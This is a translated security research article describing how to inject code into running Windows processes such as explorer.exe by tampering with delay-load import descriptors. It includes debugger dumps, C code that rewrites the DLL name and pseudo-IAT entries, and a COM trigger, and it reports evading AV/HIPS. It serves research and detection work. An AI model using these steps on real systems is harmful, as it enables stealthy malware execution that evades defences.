Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】利用DLL延迟加载实现远程代码注入

0
0
【技术分享】利用DLL延迟加载实现远程代码注入

2017-09-25 13:54:22

阅读:977次
点赞(0)
收藏
来源: hatriot.github.io





【技术分享】利用DLL延迟加载实现远程代码注入

作者:shan66





【技术分享】利用DLL延迟加载实现远程代码注入

译者:shan66

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


在本文中,我们将为读者详细介绍一种新型的远程代码注入技术,实际上,这种技术是我在鼓捣延迟加载DLL时发现的。通过该技术,只要这些进程实现了本文所利用的功能:延迟加载DLL,攻击者可以将任意代码注入到正在运行的任何远程进程中。更准确的说,这并不是一个漏洞利用,而是一种潜入其他进程的策略。

现代的代码注入技术通常依赖于两个不同的win32 API调用的变体:CreateRemoteThread和NtQueueApc。然而,最近有人发表了一篇非常棒的文章[0],详细介绍了十种进程注入的方法。当然,这些方法并非都能注入到远程进程中,特别是那些已经在运行的进程,但那篇文章针对最常见的各种注入技术进行了非常细致的讲解,这一点是难能可贵的。而本文介绍的这个策略更像是inline hooking技术,不过我们没有用到IAT,并且也不要求我们的代码已经位于该进程中。我们不需要调用NtQueueApc或CreateRemoteThread,也不需要挂起线程或进程。但是,凡事都会或多或少有一些限制,具体情况将在后文中详细介绍。

延迟加载DLL

延迟加载是一种链接器策略,即允许延迟加载DLL。可执行文件通常会在运行时加载所有必需的动态链接库,然后执行IAT修复。 然而,延迟加载技术却允许这些库直到调用时才加载,为此,可以在第一次调时使用伪IAT进行修复处理。这个过程用下图来进行完美的阐释:


【技术分享】利用DLL延迟加载实现远程代码注入
上图来自1998年Microsoft发布的一篇非常棒的文章[1],尽管该文所描述的策略已经非常棒了,但是这里我们会设法让它更上一个台阶。

通常PE文件中都含有一个名为IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT的数据目录,您可以使用dumpbin/imports或windbg进行查看,其结构描述详见delayhlp.cpp中,读者可以在WinSDK中找到它:

structInternalImgDelayDescr{ DWORDgrAttrs;//attributes LPCSTRszName;//pointertodllname HMODULE*phmod;//addressofmodulehandle PImgThunkDatapIAT;//addressoftheIAT PCImgThunkDatapINT;//addressoftheINT PCImgThunkDatapBoundIAT;//addressoftheoptionalboundIAT PCImgThunkDatapUnloadIAT;//addressofoptionalcopyoforiginalIAT DWORDdwTimeStamp;//0ifnotbound, //O.W.date/timestampofDLLboundto(OldBIND) };

这个表内存放的是RVA,而不是指针。 我们可以通过解析文件头来找到延迟目录的偏移量:

0:022>lmmexplorer startendmodulename 0069000000969000explorer(pdbsymbols) 0:022>!dh00690000-f FileType:EXECUTABLEIMAGE FILEHEADERVALUES [...] 68A80[40]address[size]ofLoadConfigurationDirectory 0[0]address[size]ofBoundImportDirectory 1000[D98]address[size]ofImportAddressTableDirectory AC670[140]address[size]ofDelayImportDirectory 0[0]address[size]ofCOR20HeaderDirectory 0[0]address[size]ofReservedDirectory

第一个entry及其延迟链接的DLL可以在以下内容中看到:

0:022>dd00690000+ac670l8 0073c67000000001000ac7b0000b24d8000b1000 0073c680000ac8cc000000000000000000000000 0:022>da00690000+000ac7b0 0073c7b0"WINMM.dll"

这意味着WINMM是动态地链接到explorer.exe的,由于是延迟加载,所以在导入的函数被调用之前,它是不会被加载到进程中的。一旦加载,帮助函数将通过使用GetProcAddress来定位目标函数并在运行时修复这个表,从而完成IAT的修复工作。

引用的伪IAT与标准PE IAT是分开的;该IAT专用于延迟加载功能,并通过延迟描述符进行引用。例如,就WINMM.dll来说,WINMM的伪IAT为RVA 000b1000。第二个延迟描述符entry的伪IAT具有单独的RVA,其他依此类推。

下面我们使用WINMM来说明延迟加载,资源管理器会从WINMM中导入一个函数,即PlaySoundW。在我实验中,它没有被调用,所以伪IAT还没有修复。 我们可以通过转储的伪IAT条目来查看这一点:

0:022>dps00690000+000b1000l2 00741000006dd0acexplorer!_imp_load__PlaySoundW 0074100400000000

这里,每个DLL条目都是以null结尾的。上面的指针告诉我们,现有的条目只是在Explorer进程中的跳板。这需要我们:

0:022>uexplorer!_imp_load__PlaySoundW explorer!_imp_load__PlaySoundW: 006dd0acb800107400moveax,offsetexplorer!_imp__PlaySoundW(00741000) 006dd0b1eb00jmpexplorer!_tailMerge_WINMM_dll(006dd0b3) explorer!_tailMerge_WINMM_dll: 006dd0b351pushecx 006dd0b452pushedx 006dd0b550pusheax 006dd0b66870c67300pushoffsetexplorer!_DELAY_IMPORT_DESCRIPTOR_WINMM_dll(0073c670) 006dd0bbe8296cfdffcallexplorer!__delayLoadHelper2(006b3ce9)

tailMerge函数是一个链接器生成的存根,它在每个DLL中编译,而不是每个函数。 __delayLoadHelper2函数是处理伪IAT的加载和修补的magic。根据delayhlp.cpp可知,该函数用来处理LoadLibrary/GetProcAddress调用以及修复伪IAT。为了便于演示,我编译了一个延迟链接dnslib的二进制文件。下面是DnsAcquireContextHandle的解析过程:

0:000>dps00060000+0001839cl2 0007839c000618bdDelayTest!_imp_load_DnsAcquireContextHandle_W 000783a000000000 0:000>bpDelayTest!__delayLoadHelper2 0:000>g ModLoad:753e00007542c000C:\windows\system32\apphelp.dll Breakpoint0hit [...] 0:000>ddesp+4l1 0024f9f400075ffc 0:000>dd00075ffcl4 00075ffc0000000100010fb0000183c80001839c 0:000>da00060000+00010fb0 00070fb0"DNSAPI.dll" 0:000>pt 0:000>dps00060000+0001839cl2 0007839c74dfd0fcDNSAPI!DnsAcquireContextHandle_W 000783a000000000

现在伪IAT条目已被修复,这样在后续调用中就能调用正确的函数了。这样,伪IAT就同时具有可执行和可写属性:

0:011>!vprot00060000+0001839c BaseAddress:00371000 AllocationBase:00060000 AllocationProtect:00000080PAGE_EXECUTE_WRITECOPY

此时,DLL已经加载到进程中,伪IAT也已修复。当然,并不是所有的函数都能够在加载时进行解析,相反,只有被调用的函数才能这样。 这会让伪IAT中的某些条目处于混合状态:

0074104400726afaexplorer!_imp_load__UnInitProcessPriv 007410487467f845DUI70!InitThread 0074104c00726b0fexplorer!_imp_load__UnInitThread 0074105074670728DUI70!InitProcessPriv 0:022>lmmDUI70 startendmodulename 74630000746e2000DUI70(pdbsymbols)

从上面可以看到,这里只是解析了了四个函数中的两个,并将DUI70.dll库加载到了该进程中。在延迟加载描述符的每个条目中,被引用的结构都会为HMODULE维护一个RVA。 如果模块未加载,它将为空。 所以,当调用已经加载的延迟函数时,延迟助手函数将检查它的条目以确定是否可以使用它的句柄:

HMODULEhmod=*idd.phmod; if(hmod==0){ if(__pfnDliNotifyHook2){ hmod=HMODULE(((*__pfnDliNotifyHook2)(dliNotePreLoadLibrary,&dli))); } if(hmod==0){ hmod=::LoadLibraryEx(dli.szDll,NULL,0); }

idd结构只是上述InternalImgDelayDescr的一个实例,它将会从链接器tailMerge存根传递给__delayLoadHelper2函数。因此,如果该模块已经被加载,当从延迟条目引用时,它将使用该句柄。

这里另一个注意事项是,延迟加载器支持通知钩子。有六个状态可以供我们挂钩:进程启动,预加载库,加载库出错,预取GetProcAddress,GetProcAddress失败和结束进程。你可以在上面的代码示例中看到钩子的具体用法。

最后,除了延迟加载外,PE文件还支持库的延迟卸载。当然,了解了库的延迟加载后,库的延迟卸载就不用多说了。


DLL延迟加载技术的局限性

在详细说明我们如何利用DLL延迟加载之前,我们首先来了解一下这种技术的局限性。它不是完全可移植的,并且单纯使用延迟加载功能无法实现我们的目的。

它最明显的局限性在于,该技术要求远程进程被延迟链接。我在自己的主机上简单抓取一些本地进程,它们大部分都是一些Microsoft应用程序:dwm,explorer,cmd。许多非Microsoft应用程序也是如此,包括Chrome。 此外,由于PE格式受到了广泛的支持,所以在许多现代系统上都能见到它的身影。

另一个限制,是它依赖于LoadLibrary,也就是说磁盘上必须存在一个DLL。我们没有办法从内存中使用LoadLibrary。

除了实现延迟加载外,远程进程必须实现可以触发的功能。我们需要获取伪IAT,而不是执行CreateRemoteThread、SendNotifyMessage或ResumeThread,因此我们必须能够触发远程进程来执行该操作/执行该功能。如果您使用挂起进程/新建进程策略,虽然这本身并不难,但运行应用程序可能并不容易。

最后,任何不允许加载无符号库的进程都能阻止这种技术。这种特性是由ProcessSignaturePolicy控制的,可以使用SetProcessMitigationPolicy [2]进行相应设置;目前还不清楚有多少应用程序正在使用这些应用程序,但是Microsoft Edge是第一个采用该策略的大型产品之一。此外, 该技术也受到ProcessImageLoadPolicy策略的影响,该策略可以设置为限制从UNC共享加载图像。

利用方法

当讨论将代码注入到进程中的能力时,攻击者可能会想到三种不同的情形,以及远程进程中的一些额外的情况。本地进程注入只是在当前进程中执行shellcode /任意代码。挂起的进程是从现有的受控的进程中产生一个新的挂起的进程,并将代码注入其中。这是一个相当普遍的策略,可以在注入之前迁移代码,建立备份连接或创建已知的进程状态。最后一种情形是运行远程进程。

运行远程进程是一个有趣的情况,我们将在下面探讨其中的几个注意事项。我不会详细介绍挂起的进程,因为它与利用运行的进程的方法基本相同,并且更容易。之所以很容易,因为许多应用程序实际上只在运行时加载延迟库,或者由于该功能是环境所需,或者因为需要链接另一个加载的DLL。这方面的源代码实现请参考文献[3]。

本地进程

本地进程是这个策略中最简单和最有用的一种方式。 如果我们能够以这种方式来注入和执行代码的话,我们也可以链接到我们想要使用的库。我们需要做的第一件事是延迟链接可执行文件。由于某些原因,我最初选择了dnsapi.dll。 您可以通过Visual Studio的链接器选项来指定延迟加载DLL。

因此,我们需要获取延迟目录的RVA,这可以通过以下函数来完成:

IMAGE_DELAYLOAD_DESCRIPTOR* findDelayEntry(char*cDllName) { PIMAGE_DOS_HEADERpImgDos=(PIMAGE_DOS_HEADER)GetModuleHandle(NULL); PIMAGE_NT_HEADERSpImgNt=(PIMAGE_NT_HEADERS)((LPBYTE)pImgDos+pImgDos->e_lfanew); PIMAGE_DELAYLOAD_DESCRIPTORpImgDelay=(PIMAGE_DELAYLOAD_DESCRIPTOR)((LPBYTE)pImgDos+ pImgNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress); DWORDdwBaseAddr=(DWORD)GetModuleHandle(NULL); IMAGE_DELAYLOAD_DESCRIPTOR*pImgResult=NULL; //iterateoverentries for(IMAGE_DELAYLOAD_DESCRIPTOR*entry=pImgDelay;entry->ImportAddressTableRVA!=NULL;entry++){ char*_cDllName=(char*)(dwBaseAddr+entry->DllNameRVA); if(strcmp(_cDllName,cDllName)==0){ pImgResult=entry; break; } } returnpImgResult; }

得到了相应的表项后,我们需要将条目的DllName标记为可写,用我们的自定义DLL名称覆盖它,并恢复保护掩码:

IMAGE_DELAYLOAD_DESCRIPTOR*pImgDelayEntry=findDelayEntry("DNSAPI.dll"); DWORDdwEntryAddr=(DWORD)((DWORD)GetModuleHandle(NULL)+pImgDelayEntry->DllNameRVA); VirtualProtect((LPVOID)dwEntryAddr,sizeof(DWORD),PAGE_READWRITE,&dwOldProtect); WriteProcessMemory(GetCurrentProcess(),(LPVOID)dwEntryAddr,(LPVOID)ndll,strlen(ndll),&wroteBytes); VirtualProtect((LPVOID)dwEntryAddr,sizeof(DWORD),dwOldProtect,&dwOldProtect);

现在要做的就是触发目标函数。一旦触发,延迟助手函数将从表条目中阻断DllName,并通过LoadLibrary加载DLL。


远程进程

最有趣的方法是运行远程进程。我们将通过explorer.exe进行演示,因为它最为常见。

为了打开资源管理器进程的句柄,我们必须执行与本地进程相同的搜索任务,但这一次是在远程进程中进行的。虽然这有点麻烦,但相关的代码可以从文献[3]的项目库中找到。实际上,我们只需抓取远程PEB,解析图像及其目录,并找到我们所感兴趣的延迟条目即可。 当尝试将其移植到另一个进程时,这部分可能是最不友好的;我们的目标是什么?哪个函数或延迟加载条目通常不会被使用,并且可从当前会话触发?对于资源管理器来说,有多个选择;它延迟链接到9个不同的DLL,每个平均有2-3个导入函数。幸运的是,我看到的第一个函数是非常简单:CM_Request_Eject_PC。该函数是由CFGMGR32.dll导出的,作用是请求系统从本地坞站[4]弹出。因此,我们可以假设在用户从未明确要求系统弹出的情况下,它在工作站上是可用的。

当我们要求工作站从坞站弹出时,该函数发送PNP请求。我们使用IShellDispatch对象来执行该操作,该对象可以通过Shell访问,然后交由资源管理器进行处理。

这个代码其实很简单:

HRESULThResult=S_FALSE; IShellDispatch*pIShellDispatch=NULL; CoInitialize(NULL); hResult=CoCreateInstance(CLSID_Shell,NULL,CLSCTX_INPROC_SERVER, IID_IShellDispatch,(void**)&pIShellDispatch); if(SUCCEEDED(hResult)) { pIShellDispatch->EjectPC(); pIShellDispatch->Release(); } CoUninitialize();

我们的DLL只需要导出CM_Request_Eject_PC,这不会导致进程崩溃;我们可以将请求传递给真正的DLL,也可以忽略它。所以,我们就能稳定可靠完成远程代码注入了。


远程进程

一个有趣的情况是要注入的远程进程需延迟加载,但所有导入的函数都已在伪IAT中完成解析了。这就有点复杂了,但也不是完全没有希望。

还记得前面提到的延迟加载库的句柄是否保留在其描述符中吗?帮助函数就是通过检查这个值以确定是否应该重新加载模块的;如果其值为null,就会尝试加载模块,如果不是,它就使用该句柄。我们可以通过清空模块句柄来滥用该检查,从而"欺骗"助手函数,让它重新加载该描述符的DLL。

然而,对于讨论的这种情况来说,伪IAT已经被完全修复了;所以无法将更多的“跳板”可以放入延迟加载帮助函数。 在默认情况下,伪IAT是可写的,所以我们可以直接修改跳板函数,并用它来重新实例化描述符。 简而言之,这种最坏情况下的策略需要三个独立的WriteProcessMemory调用:一个用于清除模块句柄,一个用于覆盖伪IAT条目,一个用于覆盖加载的DLL名称。


结束语

前面说过,我曾经针对下一代AV/HIPS(具体名称这里就不说了)测试过这个策略,它们没有一个能够检测到交叉进程注入策略。针对这种策略的检测看上去是一个有趣的挑战;在远程进程中,策略使用以下调用链:

OpenProcess(..); ReadRemoteProcess(..);//readimage ReadRemoteProcess(..);//readdelaytable ReadRemoteProcess(..);//readdelayentry1...n VirtualProtectEx(..); WriteRemoteProcess(..);

触发功能在每个进程之间都是动态的,所有加载的库都是通过一些大家熟知的Windows设备来加载。此外,我还检查了其他一些核心的Windows应用程序,它们都有非常简单的触发策略。

引用的文献[3]提供了对于x86和x64系统的支持,并已在Windows 7,8.1和10中通过了测试。它涉及三个函数:inject_local,inject_suspended和inject_explorer。它通过会到C:\ Windows \ Temp \ TestDLL.dll查找该DLL,但这显然是可以更改的。

特别感谢Stephen Breen审阅了这篇文章。


参考文献

[0] https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process [1] https://www.microsoft.com/msj/1298/hood/hood1298.aspx [2] https://msdn.microsoft.com/en-us/library/windows/desktop/hh769088(v=vs.85).aspx [3] https://github.com/hatRiot/DelayLoadInject [4] https://msdn.microsoft.com/en-us/library/windows/hardware/ff539811(v=vs.85).aspx


【技术分享】利用DLL延迟加载实现远程代码注入
【技术分享】利用DLL延迟加载实现远程代码注入
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://hatriot.github.io/blog/2017/09/19/abusing-delay-load-dll/

Viewing all articles
Browse latest Browse all 12749